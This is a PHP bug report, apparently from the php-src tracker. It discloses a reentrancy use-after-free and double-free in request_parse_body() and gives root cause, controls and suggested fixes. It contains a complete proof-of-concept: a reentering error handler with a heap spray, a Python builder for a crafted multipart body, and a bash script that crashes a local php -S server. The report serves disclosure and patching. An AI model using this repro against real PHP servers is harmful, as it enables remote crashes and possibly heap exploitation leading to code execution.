[php-src] Issue #24802: request_parse_body() reentrancy can double-free PG(rfc1867_protected_variables)
| From: | ke0xa6 | Date: | Tue, 27 Oct 2026 23:45:29 +0000 |
| Subject: | [php-src] Issue #24802: request_parse_body() reentrancy can double-free PG(rfc1867_protected_variables) | ||
| Groups: | php.bugs | ||
| Request: | Send a blank email to php-bugs+get-253256@lists.php.net to get a copy of this message | ||
Issue: https://github.com/php/php-src/issues/24802
Author: ke0xa6
### Description
request_parse_body() has no reentrancy guard. If a user error handler
invoked during multipart parsing calls request_parse_body() again, the
nested parse re-initializes and destroys the process-global
PG(rfc1867_protected_variables) HashTable. The outer parse then continues
to use, and finally destroys, the same freed arData. With a
same-size-class reclaim, the outer destroy treats reclaimed memory as
buckets and passes Bucket.key to zend_string_release(); the repro
crashes with zend_string_release(s=0x4141414141414141).
The following code:
```php
set_error_handler(function($no,$str,$file,$line) {
static $done=false;
if (!$done) { $done=true;
try { request_parse_body(); } catch (Throwable $e) {}
$GLOBALS["spray"]=[];
for ($i=0;$i<64;$i++) $GLOBALS["spray"][]=str_repeat("A",263);
}
return true;
});
try { request_parse_body(); echo "ALIVE\n"; } catch (Throwable $e) {}
```
The request is a multipart PUT (boundary X) whose first field name is
a[x][x]... 70 levels deep, with a valid boundary + file part placed at the
SAPI read offset 5120 + H + V. The full self-contained repro
(repro_f28.sh, starts php -S, sends the request, and reports
DEAD/ALIVE) is in the details block at the end.
Resulted in this output:
```text
zend_string_release (s=0x4141414141414141) at Zend/zend_string.h:417
#1 zend_hash_destroy (ht=core_globals+232) at Zend/zend_hash.c:2017
#2 rfc1867_post_handler ... main/rfc1867.c:1441
#3 sapi_handle_post ... main/SAPI.c:164
#4 zif_request_parse_body ... ext/standard/http.c:362
```
But I expected this output instead:
```text
ALIVE
```
i.e. the nested parse should not destroy the process-global hash used by the
outer parse, or reentrancy should be rejected cleanly.
### PHP Version
```text
PHP 8.5.12 (cli) (NTS)
PHP 8.4.27 (cli) (NTS)
```
Both were built from the official release tarballs. PHP 8.3 and earlier are
not affected because request_parse_body() does not exist there. The
current master main/rfc1867.c (checked 2026-10-23) is still unguarded.
### Operating System
Ubuntu 24.04 x86_64
### Additional context
Root cause:
- ext/standard/http.c request_parse_body() has no "parsing in
progress"
guard (8.4.27: http.c:349, throw_exceptions at :358,
sapi_read_post_data at :370, sapi_handle_post at
:384; 8.5.12:
:327, :336, :348, :362).
- main/rfc1867.c rfc1867_post_handler() calls
zend_hash_init(&PG(rfc1867_protected_variables)) on every entry
(8.4.27/8.5.12: rfc1867.c:793) and fileupload_done unconditionally
calls zend_hash_destroy() (rfc1867.c:1441). There is no busy flag.
- main/php_variables.c:216 emits the nesting warning only when
display_errors is off; the user error handler is invoked inside the
parser.
Trigger:
- The application calls request_parse_body() on a multipart request (the
documented PUT/PATCH usage; for POST, with
enable_post_data_reading=0 so the parse happens after the handler is
installed).
- The application installs a user error handler that calls
request_parse_body() again and returns true (if it throws, the exception
propagates and no crash occurs).
- display_errors=Off (production default).
- The attacker supplies the nested multipart body and the boundary/file
part layout.
Controls:
- nested body without a file part (hash stays UNINITIALIZED): 200, alive.
- handler does not reenter: 200, alive.
- spray without reentry: 200, alive.
- only "reentry + nested file part + same-bin reclaim" crashes:
8.4.27 5/5, 8.5.12 2/2, 8.4.11 distro -O2 1/1; release-build runs 3/3.
Impact: use-after-free and double-free of a process-global HashTable;
remote worker/process crash (DoS). The outer destroy passes a
reclaimed-memory Bucket.key to zend_string_release(), i.e. a
pointer-release primitive influenced by allocations in the same request;
with an address leak and heap shaping this could have RCE potential, but it
has not been weaponized.
Suggested fix:
1. Add a parse-in-progress flag (request_parse_body_context or SAPI
globals) and make reentrant sapi_handle_post()/request_parse_body()
fail cleanly (RequestParseBodyException), or
2. Make PG(rfc1867_protected_variables) a per-parse local HashTable
(save/restore around nested parses).
This was originally submitted as a private report; the security team asked
to move it to a normal issue.
<details>
<summary>repro_f28.sh</summary>
```bash
#!/bin/bash
# F28 minimal repro: reentrant request_parse_body -> UAF/double-free of
# PG(rfc1867_protected_variables).
# Usage: [GDB=1] [MODE=file|nofile] [PORT=8611] ./repro_f28.sh /path/to/php
set -u
PHPBIN=${1:?usage: $0 /path/to/php}
D=${D:-/tmp/f28repro}
PORT=${PORT:-8611}
MODE=${MODE:-file}
GDB=${GDB:-0}
rm -rf "$D"; mkdir -p "$D/web" "$D/tmp"
cat > "$D/web/repro.php" <<'PHP'
<?php
set_error_handler(function($no, $str, $file, $line) {
static $done = false;
if (!$done) {
$done = true;
try { request_parse_body(); } catch (Throwable $e) {}
$GLOBALS["spray"] = [];
for ($i = 0; $i < 64; $i++) { $GLOBALS["spray"][] = str_repeat("A",
263); }
}
return true;
});
try { request_parse_body(); echo "ALIVE\n"; }
catch (Throwable $e) { echo "EXC ", get_class($e), "\n"; }
PHP
MODE=$MODE python3 - "$D/body.bin" <<'PY'
import os, sys
mode = os.environ.get("MODE", "file")
B = "X"
deep = "a" + "[x]" * 70
hdr1 = 'Content-Disposition: form-data; name="' + deep + '"'
init = "--" + B + "\r\n"
H = len(init) + len(hdr1) + 2 + 2
V = 100
Q = H + V
if mode == "file":
nested = ("--" + B + "\r\n"
'Content-Disposition: form-data; name="f";
filename="u.txt"\r\n'
"Content-Type: text/plain\r\n\r\n"
"DATA" + "D" * 200 + "\r\n--" + B + "--\r\n")
else:
nested = ("--" + B + "\r\n"
'Content-Disposition: form-data; name="f"\r\n'
"\r\n"
"DATA" + "D" * 200 + "\r\n--" + B + "--\r\n")
nested_off = 5120 + Q
total = nested_off + len(nested)
body = bytearray(b"W" * total)
body[0:len(init)] = init.encode()
o = len(init)
body[o:o+len(hdr1)] = hdr1.encode(); o += len(hdr1)
body[o:o+2] = b"\r\n"; o += 2
body[o:o+2] = b"\r\n"; o += 2
assert o == H
body[H:Q] = b"V" * V
t = ("\r\n--" + B + "\r\n").encode()
body[Q:Q+len(t)] = t
body[nested_off:nested_off+len(nested)] = nested.encode()
open(sys.argv[1], "wb").write(bytes(body))
PY
if [ "$GDB" = "1" ]; then
gdb -nx -q -batch -ex "set pagination off" \
-ex "handle SIGPIPE nostop noprint pass" \
-ex run -ex "bt 6" -ex "info registers rdi" \
--args "$PHPBIN" -n -d display_errors=0 -d error_reporting=E_ALL \
-d upload_tmp_dir="$D/tmp" -d sys_temp_dir="$D/tmp" \
-S 127.0.0.1:$PORT -t "$D/web" > "$D/gdb.log" 2>&1 &
PID=$!
sleep 3
curl -s -m 10 --retry 3 --retry-connrefused --retry-delay 1 -o /dev/null \
-X PUT -H "Content-Type: multipart/form-data; boundary=X" \
--data-binary @"$D/body.bin" http://127.0.0.1:$PORT/repro.php
sleep 2
grep -aE "SIGSEGV|zend_string_release|zend_hash_destroy|zif_request_parse_body|rdi"
"$D/gdb.log" || true
kill $PID 2>/dev/null
exit 0
fi
"$PHPBIN" -n -d display_errors=0 -d error_reporting=E_ALL \
-d upload_tmp_dir="$D/tmp" -d sys_temp_dir="$D/tmp" \
-S 127.0.0.1:$PORT -t "$D/web" > "$D/server.log" 2>&1 &
PID=$!
sleep 1
curl -s -m 10 -o /dev/null -w "curl_http=%{http_code}\n" \
-X PUT -H "Content-Type: multipart/form-data; boundary=X" \
--data-binary @"$D/body.bin" http://127.0.0.1:$PORT/repro.php
sleep 0.3
if kill -0 $PID 2>/dev/null; then
echo "RESULT=ALIVE (mode=$MODE)"; kill $PID 2>/dev/null
else
wait $PID 2>/dev/null; rc=$?
echo "RESULT=DEAD rc=$rc (139=SIGSEGV) mode=$MODE"
fi
```
</details>